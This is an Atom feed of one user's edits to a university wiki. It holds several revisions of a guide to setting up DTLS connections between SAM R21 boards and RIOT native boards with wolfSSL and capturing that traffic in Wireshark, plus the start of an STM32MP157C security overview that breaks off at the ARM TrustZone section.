<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=BVogler</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=BVogler"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/BVogler"/>
	<updated>2026-09-10T16:25:47Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=DTLS_on_SAM_R21_Xplained_Pro:_Guide/Demo&amp;diff=14667</id>
		<title>DTLS on SAM R21 Xplained Pro: Guide/Demo</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=DTLS_on_SAM_R21_Xplained_Pro:_Guide/Demo&amp;diff=14667"/>
		<updated>2024-06-18T16:16:05Z</updated>

		<summary type="html">&lt;p&gt;BVogler: removed a wrong line&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
This article supplies the instructions to setup a DTLS connection by using RIOT-OS and the WolfSSL DTLS example provided by RIOT-OS. The first part guides the user in setting up two SAM R21 Xplained Pro microcontrollers using the example application and establish a connection between them using DTLS and RIOTs generic networking stack. The second part guides the user in setting up virtual native boards in RIOT and establish a DTLS-based connection between them. This is done to make capturing the DTLS packets possible via Wireshark.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
You must have followed the [[Riot-OS Setup]] step 1, 2 and 3 before using this guide. It is assumed that RIOT-OS is installed to ~/RIOT/.&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 24.04 (Note: This guide was created running Ubuntu as a Virtual Machine on Oracle VirtualBox 6.1)&lt;br /&gt;
* Packages: git python3&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1 ===&lt;br /&gt;
This step is an addition to the [[Riot-OS Setup]]. &lt;br /&gt;
&lt;br /&gt;
* Update your packages if you have not already done so.&lt;br /&gt;
 sudo apt-get update&lt;br /&gt;
* Install the pyudev package&lt;br /&gt;
 sudo apt-get install python3-pyudev &lt;br /&gt;
* Find out the serial numbers of your SAM R21 XPro devices and note them for later use&lt;br /&gt;
 make list-ttys&lt;br /&gt;
* Open two additional terminals and connect to both devices by using their ttys. Adjust the code if your ttys differ.&lt;br /&gt;
 cd RIOT/dist/tools/pyterm&lt;br /&gt;
 ./pyterm -p /dev/ttyACM0&lt;br /&gt;
 ./pyterm -p /dev/ttyACM1&lt;br /&gt;
&lt;br /&gt;
=== Step 2 ===&lt;br /&gt;
Build the application and flash it onto both devices.&lt;br /&gt;
&lt;br /&gt;
* Navigate to the folder containing the WolfSSL DTLS example in RIOT and build the application&lt;br /&gt;
 cd RIOT/examples/dtls-wolfssl&lt;br /&gt;
 make BOARD=samr21-xpro&lt;br /&gt;
* Flash the newly built application onto both devices using their serial numbers &lt;br /&gt;
 make BOARD=samr21-xpro SERIAL=&amp;quot;ATML21270318xxxxxxx&amp;quot; flash&lt;br /&gt;
 make BOARD=samr21-xpro SERIAL=&amp;quot;ATML21270318xxxxxxx&amp;quot; flash&lt;br /&gt;
* The example application is now running on both devices. Use command &#039;&#039;help&#039;&#039; to show the available options&lt;br /&gt;
&lt;br /&gt;
[[File:DTLS-WolfSSL-Help.png|thumb|none|750px|WolfSSL DTLS Example Help Menu]]&lt;br /&gt;
 &lt;br /&gt;
=== Step 3 ===&lt;br /&gt;
Use the applications to setup a DTLS connection &lt;br /&gt;
&lt;br /&gt;
* Use &#039;&#039;ifconfig&#039;&#039; on the device that is designated as the server and note the IPv6 address&lt;br /&gt;
* Start the DTLS Server&lt;br /&gt;
 dtlss&lt;br /&gt;
* Use the DTLS Client to start the connection test&lt;br /&gt;
 dtlsc IPv6-server-address&lt;br /&gt;
&lt;br /&gt;
[[File:WolfDTLS-Connection.png|thumb|none|750px|WolfSSL DTLS Example Connection]]&lt;br /&gt;
&lt;br /&gt;
== Capturing DTLS Traffic ==&lt;br /&gt;
If you want to capture and analyze the DTLS the packets using a packet sniffer, e.g. Wireshark, you have to use RIOT native boards, since SAM R21 XPro devices are not powerful enough to support packet capture with Wireshark on their own.&lt;br /&gt;
&lt;br /&gt;
=== Wireshark Setup ===&lt;br /&gt;
Follow the steps to install Wireshark on Ubuntu 24.04, if necessary:&lt;br /&gt;
* Install Wireshark&lt;br /&gt;
 sudo apt install wireshark&lt;br /&gt;
* When asked if non-superusers should be able to catpure packets answer &amp;quot;Yes&amp;quot;.&lt;br /&gt;
* Add your user to the wireshark group to make capture possible&lt;br /&gt;
 sudo usermod -a -G wireshark &amp;quot;$USER&amp;quot;&lt;br /&gt;
* Check if the wireshark group is present for your user&lt;br /&gt;
 groups $USER&lt;br /&gt;
* Log out and log in or restart your system to apply the change.&lt;br /&gt;
&lt;br /&gt;
=== Step 1 ===&lt;br /&gt;
Setup a virtual network for RIOT instances by using the &#039;&#039;Tapsetup&#039;&#039;-tool.&lt;br /&gt;
* Navigate to the &#039;&#039;Tapsetup&#039;&#039;-tool and create two virtual network taps and a virtual bridge&lt;br /&gt;
 cd ~&lt;br /&gt;
 cd RIOT/dist/tools/tapsetup&lt;br /&gt;
 sudo ./tapsetup --create 2&lt;br /&gt;
* Build dtls-wolfdtls for RIOT native boards&lt;br /&gt;
 cd ~&lt;br /&gt;
 cd RIOT/examples/dtls-wolfssl&lt;br /&gt;
 make all&lt;br /&gt;
* Setup the first virtual RIOT board&lt;br /&gt;
 PORT=tap0 make term&lt;br /&gt;
* Setup the second virtual RIOT board using a second terminal&lt;br /&gt;
 cd RIOT/examples/dtls-wolfssl&lt;br /&gt;
 PORT=tap1 make term&lt;br /&gt;
&lt;br /&gt;
=== Step 2 ===&lt;br /&gt;
Configure Wireshark to capture packets on either tap0, tap1 or tapbr0 (Bridge). This depends on which view is more interesting to you. In the following steps tap1 is used for capturing packets since the DTLS server is run on this Tap.&lt;br /&gt;
* Start Wireshark and set it to capture packets on the interface tap1&lt;br /&gt;
* Use the applications to setup a DTLS connection. First use &#039;&#039;ifconfig&#039;&#039; on one of the native boards. Note the IPv6 address and then use the following command to start the DTLS server:&lt;br /&gt;
 dtlss&lt;br /&gt;
* Use this command on the other native board using the address noted previously:&lt;br /&gt;
 dtlsc IPv6-server-address&lt;br /&gt;
* You should receive confirmation of a successful connection.&lt;br /&gt;
&lt;br /&gt;
=== Step 3 ===&lt;br /&gt;
Analyze the captured traffic in Wireshark&lt;br /&gt;
&lt;br /&gt;
[[File:WolfDTLS-Wireshark-Capture.png|thumb|none|750px|WolfSSL DTLS Example Wireshark Capture]]&lt;br /&gt;
 &lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* 2x [[Atmel SAM R21 Xplained Pro]]&lt;br /&gt;
* Connective cables (Micro USB B)&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Riot-OS Setup]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.riot-os.org/&lt;br /&gt;
* https://www.wolfssl.com/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=DTLS_on_SAM_R21_Xplained_Pro:_Guide/Demo&amp;diff=14666</id>
		<title>DTLS on SAM R21 Xplained Pro: Guide/Demo</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=DTLS_on_SAM_R21_Xplained_Pro:_Guide/Demo&amp;diff=14666"/>
		<updated>2024-06-18T16:14:59Z</updated>

		<summary type="html">&lt;p&gt;BVogler: minor corrections&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Title: DTLS on SAM R21 Xplained Pro: Guide/Demo&lt;br /&gt;
&lt;br /&gt;
== Summary == &lt;br /&gt;
This article supplies the instructions to setup a DTLS connection by using RIOT-OS and the WolfSSL DTLS example provided by RIOT-OS. The first part guides the user in setting up two SAM R21 Xplained Pro microcontrollers using the example application and establish a connection between them using DTLS and RIOTs generic networking stack. The second part guides the user in setting up virtual native boards in RIOT and establish a DTLS-based connection between them. This is done to make capturing the DTLS packets possible via Wireshark.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
You must have followed the [[Riot-OS Setup]] step 1, 2 and 3 before using this guide. It is assumed that RIOT-OS is installed to ~/RIOT/.&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 24.04 (Note: This guide was created running Ubuntu as a Virtual Machine on Oracle VirtualBox 6.1)&lt;br /&gt;
* Packages: git python3&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1 ===&lt;br /&gt;
This step is an addition to the [[Riot-OS Setup]]. &lt;br /&gt;
&lt;br /&gt;
* Update your packages if you have not already done so.&lt;br /&gt;
 sudo apt-get update&lt;br /&gt;
* Install the pyudev package&lt;br /&gt;
 sudo apt-get install python3-pyudev &lt;br /&gt;
* Find out the serial numbers of your SAM R21 XPro devices and note them for later use&lt;br /&gt;
 make list-ttys&lt;br /&gt;
* Open two additional terminals and connect to both devices by using their ttys. Adjust the code if your ttys differ.&lt;br /&gt;
 cd RIOT/dist/tools/pyterm&lt;br /&gt;
 ./pyterm -p /dev/ttyACM0&lt;br /&gt;
 ./pyterm -p /dev/ttyACM1&lt;br /&gt;
&lt;br /&gt;
=== Step 2 ===&lt;br /&gt;
Build the application and flash it onto both devices.&lt;br /&gt;
&lt;br /&gt;
* Navigate to the folder containing the WolfSSL DTLS example in RIOT and build the application&lt;br /&gt;
 cd RIOT/examples/dtls-wolfssl&lt;br /&gt;
 make BOARD=samr21-xpro&lt;br /&gt;
* Flash the newly built application onto both devices using their serial numbers &lt;br /&gt;
 make BOARD=samr21-xpro SERIAL=&amp;quot;ATML21270318xxxxxxx&amp;quot; flash&lt;br /&gt;
 make BOARD=samr21-xpro SERIAL=&amp;quot;ATML21270318xxxxxxx&amp;quot; flash&lt;br /&gt;
* The example application is now running on both devices. Use command &#039;&#039;help&#039;&#039; to show the available options&lt;br /&gt;
&lt;br /&gt;
[[File:DTLS-WolfSSL-Help.png|thumb|none|750px|WolfSSL DTLS Example Help Menu]]&lt;br /&gt;
 &lt;br /&gt;
=== Step 3 ===&lt;br /&gt;
Use the applications to setup a DTLS connection &lt;br /&gt;
&lt;br /&gt;
* Use &#039;&#039;ifconfig&#039;&#039; on the device that is designated as the server and note the IPv6 address&lt;br /&gt;
* Start the DTLS Server&lt;br /&gt;
 dtlss&lt;br /&gt;
* Use the DTLS Client to start the connection test&lt;br /&gt;
 dtlsc IPv6-server-address&lt;br /&gt;
&lt;br /&gt;
[[File:WolfDTLS-Connection.png|thumb|none|750px|WolfSSL DTLS Example Connection]]&lt;br /&gt;
&lt;br /&gt;
== Capturing DTLS Traffic ==&lt;br /&gt;
If you want to capture and analyze the DTLS the packets using a packet sniffer, e.g. Wireshark, you have to use RIOT native boards, since SAM R21 XPro devices are not powerful enough to support packet capture with Wireshark on their own.&lt;br /&gt;
&lt;br /&gt;
=== Wireshark Setup ===&lt;br /&gt;
Follow the steps to install Wireshark on Ubuntu 24.04, if necessary:&lt;br /&gt;
* Install Wireshark&lt;br /&gt;
 sudo apt install wireshark&lt;br /&gt;
* When asked if non-superusers should be able to catpure packets answer &amp;quot;Yes&amp;quot;.&lt;br /&gt;
* Add your user to the wireshark group to make capture possible&lt;br /&gt;
 sudo usermod -a -G wireshark &amp;quot;$USER&amp;quot;&lt;br /&gt;
* Check if the wireshark group is present for your user&lt;br /&gt;
 groups $USER&lt;br /&gt;
* Log out and log in or restart your system to apply the change.&lt;br /&gt;
&lt;br /&gt;
=== Step 1 ===&lt;br /&gt;
Setup a virtual network for RIOT instances by using the &#039;&#039;Tapsetup&#039;&#039;-tool.&lt;br /&gt;
* Navigate to the &#039;&#039;Tapsetup&#039;&#039;-tool and create two virtual network taps and a virtual bridge&lt;br /&gt;
 cd ~&lt;br /&gt;
 cd RIOT/dist/tools/tapsetup&lt;br /&gt;
 sudo ./tapsetup --create 2&lt;br /&gt;
* Build dtls-wolfdtls for RIOT native boards&lt;br /&gt;
 cd ~&lt;br /&gt;
 cd RIOT/examples/dtls-wolfssl&lt;br /&gt;
 make all&lt;br /&gt;
* Setup the first virtual RIOT board&lt;br /&gt;
 PORT=tap0 make term&lt;br /&gt;
* Setup the second virtual RIOT board using a second terminal&lt;br /&gt;
 cd RIOT/examples/dtls-wolfssl&lt;br /&gt;
 PORT=tap1 make term&lt;br /&gt;
&lt;br /&gt;
=== Step 2 ===&lt;br /&gt;
Configure Wireshark to capture packets on either tap0, tap1 or tapbr0 (Bridge). This depends on which view is more interesting to you. In the following steps tap1 is used for capturing packets since the DTLS server is run on this Tap.&lt;br /&gt;
* Start Wireshark and set it to capture packets on the interface tap1&lt;br /&gt;
* Use the applications to setup a DTLS connection. First use &#039;&#039;ifconfig&#039;&#039; on one of the native boards. Note the IPv6 address and then use the following command to start the DTLS server:&lt;br /&gt;
 dtlss&lt;br /&gt;
* Use this command on the other native board using the address noted previously:&lt;br /&gt;
 dtlsc IPv6-server-address&lt;br /&gt;
* You should receive confirmation of a successful connection.&lt;br /&gt;
&lt;br /&gt;
=== Step 3 ===&lt;br /&gt;
Analyze the captured traffic in Wireshark&lt;br /&gt;
&lt;br /&gt;
[[File:WolfDTLS-Wireshark-Capture.png|thumb|none|750px|WolfSSL DTLS Example Wireshark Capture]]&lt;br /&gt;
 &lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* 2x [[Atmel SAM R21 Xplained Pro]]&lt;br /&gt;
* Connective cables (Micro USB B)&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Riot-OS Setup]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.riot-os.org/&lt;br /&gt;
* https://www.wolfssl.com/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=DTLS_on_SAM_R21_Xplained_Pro:_Guide/Demo&amp;diff=14665</id>
		<title>DTLS on SAM R21 Xplained Pro: Guide/Demo</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=DTLS_on_SAM_R21_Xplained_Pro:_Guide/Demo&amp;diff=14665"/>
		<updated>2024-06-18T14:21:12Z</updated>

		<summary type="html">&lt;p&gt;BVogler: first version&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
This article supplies the instructions to setup a DTLS connection demonstration by using RIOT-OS and the WolfSSL DTLS example provided by RIOT-OS. The first part guides the user in setting up two SAM R21 Xplained Pro microcontrollers using the example application to connect using DTLS. The second part guides the user in setting up virtual boards in RIOT. This is done to make capturing the DTLS packets possible.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
You must have followed the [[Riot-OS Setup]] step 1, 2 and 3 before using this guide. It is assumed that RIOT-OS is installed to ~/RIOT/.&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 24.04 (Guide was created running a VM on Oracle VirtualBox 6.1)&lt;br /&gt;
* Packages: git python3&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1 ===&lt;br /&gt;
This step is an addition to the [[Riot-OS Setup]]. &lt;br /&gt;
&lt;br /&gt;
* Update your packages if you have not already done this.&lt;br /&gt;
 sudo apt-get update&lt;br /&gt;
* Install the pyudev package&lt;br /&gt;
 sudo apt-get install python3-pyudev &lt;br /&gt;
* Find out the serial numbers of your SAM R21 XPro devices and note them for later use&lt;br /&gt;
 make list-ttys&lt;br /&gt;
* Open two additional terminals and connect to both devices by using their ttys. (Adjust the code if your ttys differ)&lt;br /&gt;
 cd RIOT/dist/tools/pyterm&lt;br /&gt;
 ./pyterm -p /dev/ttyACM0&lt;br /&gt;
 ./pyterm -p /dev/ttyACM1&lt;br /&gt;
&lt;br /&gt;
=== Step 2 ===&lt;br /&gt;
Build the application and flash it on both devices.&lt;br /&gt;
&lt;br /&gt;
* Navigate to the folder containing the WolfSSL DTLS example in RIOT and build the application&lt;br /&gt;
 cd RIOT/examples/dtls-wolfssl&lt;br /&gt;
 make BOARD=samr21-xpro&lt;br /&gt;
* Flash the newly built application onto both devices using their serial numbers &lt;br /&gt;
 make BOARD=samr21-xpro SERIAL=&amp;quot;ATML21270318xxxxxxx&amp;quot; flash&lt;br /&gt;
 make BOARD=samr21-xpro SERIAL=&amp;quot;ATML21270318xxxxxxx&amp;quot; flash&lt;br /&gt;
* The example application is now running on both devices. Use command &#039;&#039;help&#039;&#039; to show the available options&lt;br /&gt;
&lt;br /&gt;
[[File:DTLS-WolfSSL-Help.png|thumb|none|750px|WolfSSL DTLS Example Help Menu]]&lt;br /&gt;
 &lt;br /&gt;
=== Step 3 ===&lt;br /&gt;
Use the applications to setup a DTLS connection &lt;br /&gt;
&lt;br /&gt;
* Use &#039;&#039;ifconfig&#039;&#039; on the device that is designated as the server and note the IPv6 address&lt;br /&gt;
* Start the DTLS Server&lt;br /&gt;
 dtlss&lt;br /&gt;
* Use the DTLS Client to start the connection test&lt;br /&gt;
 dtlsc IPv6-server-address&lt;br /&gt;
&lt;br /&gt;
[[File:WolfDTLS-Connection.png|thumb|none|750px|WolfSSL DTLS Example successful Connection]]&lt;br /&gt;
&lt;br /&gt;
== Capturing DTLS Traffic ==&lt;br /&gt;
If you want to capture and analyze the DTLS the packets using a packet sniffer, e.g. Wireshark, you have to use RIOT native boards. SAM R21 XPro devices are not powerful enough to support packet capture with Wireshark on their own.&lt;br /&gt;
&lt;br /&gt;
=== Wireshark Setup ===&lt;br /&gt;
Follow the steps to install Wireshark on Ubuntu 24.04, if necessary:&lt;br /&gt;
* Install Wireshark&lt;br /&gt;
 sudo apt install wireshark&lt;br /&gt;
* When asked if non-superusers should be able to catpure packets answer &amp;quot;Yes&amp;quot;.&lt;br /&gt;
* Add user to the wireshark group to make capture possible&lt;br /&gt;
 sudo usermod -a -G wireshark &amp;quot;$USER&amp;quot;&lt;br /&gt;
* Check if the wireshark group is present for your user&lt;br /&gt;
 groups $USER&lt;br /&gt;
&lt;br /&gt;
=== Step 1 ===&lt;br /&gt;
Setup a virtual network for RIOT instances by using the Tapsetup tool.&lt;br /&gt;
* Navigate to the Tapsetup tool and create two virtual network taps and a virtual bridge&lt;br /&gt;
 cd ~&lt;br /&gt;
 cd RIOT/dist/tools/tapsetup&lt;br /&gt;
 sudo ./tapsetup --create 2&lt;br /&gt;
* Build dtls-wolfdtls for RIOT native boards&lt;br /&gt;
 cd ~&lt;br /&gt;
 cd RIOT/examples/dtls-wolfssl&lt;br /&gt;
 make all&lt;br /&gt;
* Setup the first virtual RIOT board&lt;br /&gt;
 PORT=tap0 make term&lt;br /&gt;
* Setup the second virtual RIOT board using a second terminal&lt;br /&gt;
 cd RIOT/examples/dtls-wolfssl&lt;br /&gt;
 PORT=tap1 make term&lt;br /&gt;
&lt;br /&gt;
=== Step 2 ===&lt;br /&gt;
Configure Wireshark to capture packets on either tap0, tap1 or tapbr0 (Bridge). This depends on which view is more interesting to you. In the following steps tap1 is used for capturing packets.&lt;br /&gt;
* Start Wireshark and set it to capture packets on interface tap1&lt;br /&gt;
* Use the applications to setup a DTLS connection. First use &#039;&#039;ifconfig&#039;&#039; and note the IPv6 address of the designated server application. Then use the following commands to setup the connection:&lt;br /&gt;
 dtlss&lt;br /&gt;
 dtlsc IPv6-server-address&lt;br /&gt;
&lt;br /&gt;
=== Step 3 ===&lt;br /&gt;
Analyze the captured traffic in Wireshark&lt;br /&gt;
&lt;br /&gt;
[[File:WolfDTLS-Wireshark-Capture.png|thumb|none|750px|WolfSSL DTLS Example Wireshark Capture]]&lt;br /&gt;
 &lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* 2x [[Atmel SAM R21 Xplained Pro]]&lt;br /&gt;
* Connective cables (Micro USB B)&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Riot-OS Setup]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.riot-os.org/&lt;br /&gt;
* https://www.wolfssl.com/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:WolfDTLS-Wireshark-Capture.png&amp;diff=14664</id>
		<title>File:WolfDTLS-Wireshark-Capture.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:WolfDTLS-Wireshark-Capture.png&amp;diff=14664"/>
		<updated>2024-06-18T14:15:11Z</updated>

		<summary type="html">&lt;p&gt;BVogler: Screenshot of Wireshark capturing DTLS 1.2 packets generated by using the WolfSSL DTLS example provided in RIOT-OS. Applications are running on RIOT native boards.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Screenshot of Wireshark capturing DTLS 1.2 packets generated by using the WolfSSL DTLS example provided in RIOT-OS. Applications are running on RIOT native boards.&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:WolfDTLS-Connection.png&amp;diff=14663</id>
		<title>File:WolfDTLS-Connection.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:WolfDTLS-Connection.png&amp;diff=14663"/>
		<updated>2024-06-18T14:13:32Z</updated>

		<summary type="html">&lt;p&gt;BVogler: Screenshot of successful DTLS connection using the WolfSSL DTLS example application provided in RIOT-OS&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Screenshot of successful DTLS connection using the WolfSSL DTLS example application provided in RIOT-OS&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:DTLS-WolfSSL-Help.png&amp;diff=14662</id>
		<title>File:DTLS-WolfSSL-Help.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:DTLS-WolfSSL-Help.png&amp;diff=14662"/>
		<updated>2024-06-18T14:12:45Z</updated>

		<summary type="html">&lt;p&gt;BVogler: Screenshot of the Help Menu provided by the WolfSSL DTLS example in RIOT-OS.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Screenshot of the Help Menu provided by the WolfSSL DTLS example in RIOT-OS.&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=DTLS_on_SAM_R21_Xplained_Pro:_Guide/Demo&amp;diff=14661</id>
		<title>DTLS on SAM R21 Xplained Pro: Guide/Demo</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=DTLS_on_SAM_R21_Xplained_Pro:_Guide/Demo&amp;diff=14661"/>
		<updated>2024-06-18T11:46:37Z</updated>

		<summary type="html">&lt;p&gt;BVogler: init&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Description what this documentation is about.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 18.04 bionic amd64&lt;br /&gt;
* Packages: git emacs&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Some Other Documentation]] before.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1 ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 echo foo&lt;br /&gt;
 echo bar&lt;br /&gt;
&lt;br /&gt;
=== Step 2 ===&lt;br /&gt;
&lt;br /&gt;
Make sure to read&lt;br /&gt;
&lt;br /&gt;
* War and Peace&lt;br /&gt;
* Lord of the Rings&lt;br /&gt;
* The Baroque Cycle&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[A course where this documentation was used]] (2017, 2018)&lt;br /&gt;
* [[Another one]] (2018)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wikipedia.org&lt;br /&gt;
* https://google.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>BVogler</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=STM32MP157C:_Security_Overview&amp;diff=11513</id>
		<title>STM32MP157C: Security Overview</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=STM32MP157C:_Security_Overview&amp;diff=11513"/>
		<updated>2023-02-24T21:57:03Z</updated>

		<summary type="html">&lt;p&gt;BVogler: spacing corrected&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
The STM32MP157C Discovery Kit 2 is a Microcontroller designed and produced by ST Microelectronics. The primary purposes of the discovery kit are to serve for development and educational purposes. The regular versions primary areas of application are smart home control, real-time applications, embedded neural networks and edge computing. The STM32MP157C employs ARM TrustZone technology to ensure isolation between applications and divides operating systems and application in secure and non-secure categories. This Microcontroller has Secure Boot and Secure Firmware Upgrade capabilities. Support for operating systems not approved by ST is nearly non-existent with only limited portability for RIOT-OS and Zephyr.&lt;br /&gt;
&lt;br /&gt;
Main features include:&lt;br /&gt;
* Dual Processor Architecture (Cortex-A7 and Cortex-M4)&lt;br /&gt;
* Dedicated GPU&lt;br /&gt;
* OpenSTLinux Distribution pre-installed&lt;br /&gt;
* Android operating system also available&lt;br /&gt;
* 800x480 px Touch Display&lt;br /&gt;
* Employs ARM TrustZone technology for security&lt;br /&gt;
&lt;br /&gt;
== Technical Data ==&lt;br /&gt;
Below is an abbreviated overview of the technical data for the STM32MP157C:&lt;br /&gt;
* Processor&lt;br /&gt;
** ARM Cortex-A7 32-bit Dual-Core @ 640 MHz&lt;br /&gt;
** ARM Cortex-M4 32-bit @ 209 MHz&lt;br /&gt;
* Memory&lt;br /&gt;
** External DDR memory up to 1 GB possible&lt;br /&gt;
** Internal memory: 708 KB SRAM, 256 KB AXI SYSRAM, 384 KB AHB SRAM and 64 KB AHB SRAM in backup domain&lt;br /&gt;
* Reset/Power Management&lt;br /&gt;
** 1.71 V to 3.6 V I/Os supply (5 V-tolerant I/Os)&lt;br /&gt;
** Internal temperature sensors&lt;br /&gt;
** Low-power modes (sleep, stop and standby)&lt;br /&gt;
** DDR memory retention in standby&lt;br /&gt;
** Low power consumption (down to 2 microampere in standby)&lt;br /&gt;
* Clock management (internal and external oscillators)&lt;br /&gt;
* General Purpose Input/Output (GPIO)&lt;br /&gt;
** 176 I/O ports with interrupt capability possible&lt;br /&gt;
** 8 secure I/Os, 3 tamper pins, 1 active tamper pin&lt;br /&gt;
* 3 DMA controllers&lt;br /&gt;
* 37 communication peripherals (6x I2C, 8x UART/USART, 6x SPI, 4x SAI, HDMI, 3x SDMMC, 4x USB-A, Gigabit Ethernet, camera interface)&lt;br /&gt;
* 6 analog peripherals (2x ADC, 2x DAC, temperature sensor, digital filter for sigma delta modulator)&lt;br /&gt;
* 29 timers and 3 watchdogs possible&lt;br /&gt;
* Security/Safety&lt;br /&gt;
** Secure Boot, TrustZone peripherals and active tamper detection&lt;br /&gt;
** Cortex-M4 resource isolation&lt;br /&gt;
* Hardware acceleration (AES, SHA, HMAC, CRC)&lt;br /&gt;
&lt;br /&gt;
[[File:Block_Diagram_STM32MP157C.png|thumb|none|500px|Block Diagram STM32MP157C]]&lt;br /&gt;
&lt;br /&gt;
== Areas of Application ==&lt;br /&gt;
* &#039;&#039;&#039;Smart Home Control&#039;&#039;&#039;: Access point and remote control for various smart home appliances including real-time applications with audio/video streams, like video doorbells or alarm systems.&lt;br /&gt;
* &#039;&#039;&#039;Embedded Neural Networks&#039;&#039;&#039;: The Cortex-A7 main processor has native support for TensorFlow Lite on Linux systems to support Embedded Neural Networks. The STM32Cube.AI is pre-configured on the co-processor Cortex-M4 and can handle machine learning tasks in an Embedded System.&lt;br /&gt;
* &#039;&#039;&#039;Edge Computing&#039;&#039;&#039;: STM32MP157C has better processing power than most Microcontrollers used in Embedded Systems and is comparable in power to a Raspberry Pi (Generation 2). This is the reason why they can be used in edge computing scenarios where data must be processed near the Embedded Systems that collect the data.&lt;br /&gt;
&lt;br /&gt;
== Security Features ==&lt;br /&gt;
=== ARM TrustZone ===&lt;br /&gt;
